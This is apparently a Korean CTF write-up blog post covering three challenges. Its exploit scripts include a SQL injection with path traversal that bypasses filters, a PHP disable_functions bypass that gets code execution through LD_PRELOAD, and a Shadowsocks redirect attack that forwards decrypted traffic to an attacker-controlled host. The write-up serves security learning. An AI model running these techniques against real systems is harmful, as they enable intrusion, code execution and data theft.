728x90
CMS Again
php의 _REQUEST 변수는 GET, POST 두 메소드를 모두 받을 수 있지만, 두 메소드가 한번에 들어올 경우 POST 메소드가 우선적으로 처리되어 GET 으로 받은 값이 무시된다는 특징이 있습니다.
따라서 위 global filter들을 우회하여 download.php에서 sql injection 취약점을 트리거할 수 있습니다.
from pwn import *
p=remote('54.180.79.80',80)
#+union+select+1,2,3,'/var/www/html/flag',5,6,7,8--+-
payload = '''POST /download.php?idx=1'union%20select%201,2,3,'../../../../flag','../../../../../flag',6,7,8--%20 HTTP/1.1
Host: 54.180.79.80
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: PHPSESSID=25255366523a333e1395a3a066395a53
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
idx=60'''.replace('\n', '\r\n')+ ' '*100
p.send(payload)
p.interactive()
nomorephp
원하는 php 코드를 실행할 수 있지만 disable function 및 open_basedir 을 우회하여 원격 코드를 실행해야 합니다.
대부분의 함수가 막혀있으나, tmpfile()로 /tmp 에 파일을 생성한 뒤 stream_get_meta_data와 fputs 를 이용하여 hooking 을 위한 so 파일을 업로드한 뒤 putenv와 error_log 함수를 통해 LD_PRELOAD code injection 을 진행합니다.
import requests
from urllib import quote
lib = open('exploit.so', 'rb').read()
code = '''
$tmp = tmpfile();
$file_name = stream_get_meta_data($tmp)['uri'];
var_dump($file_name);
fputs($tmp, urldecode($_POST['content']));
fclose();
putenv('LD_PRELOAD=' . $file_name);
error_log('', 1, '', '');
'''
data = {'content': quote(lib)}
url = 'http://127.0.0.1/' #local test
url = 'http://3.35.21.44/'
print requests.post(url + '?code=' + quote(code), data=data).text
socks
주어진 config 파일을 서칭하던 중 shadowsock 모듈의 설정 파일인 것을 확인하였습니다.
shadowsock 모듈은 stream cipher 를 사용할 경우 redirect attack에 취약하여 password를 알지 못해도 스니핑한 패킷을 MITM 공격을 통해 복호화하여 공격자의 서버로 전송할 수 있습니다.
https://github.com/net4people/bbs/issues/24
https://github.com/edwardz246003/shadowsocks
해당 이슈와 코드를 기반으로 Exploit 코드를 작성하였습니다.
from scapy.packet import Raw
from scapy.all import rdpcap
import socket
import struct
import time
packets = rdpcap("../p2.pcapng")
pkg_send, pkg_recv = None, None
for p in packets:
if p['TCP'] and p['TCP'].dport == 8388 and isinstance(p['TCP'].payload, Raw):
pkg_send = p
if p['TCP'] and p['TCP'].sport == 8388 and isinstance(p['TCP'].payload, Raw):
pkg_recv = p
send_iv, send_data = pkg_send['TCP'].payload.load[:16], pkg_send['TCP'].payload.load[16:]
recv_iv, recv_data = pkg_recv['TCP'].payload.load[:16], pkg_recv['TCP'].payload.load[16:]
predict_data = b"HTTP/1."
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
target_ip = "45.76.213.171"
target_port = 8080
fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())
s = socket.socket()
s.connect(("15.165.73.176", 8388))
s.send(fake_data)
print('Tcp sending... ')
time.sleep(3)
s.close()
728x90
'대회' 카테고리의 다른 글
[TSG CTF 2021] giita (dompurify bypass via prototype pollution) (0) | 2022.01.11 |
---|---|
[TokyoWesterns CTF 2020] Does linux dream of windows? (1) | 2022.01.10 |
[bobctf 2020] Catcha (ML) (0) | 2022.01.10 |
[DEFCON 2020 Final] rorschach (0) | 2022.01.10 |
댓글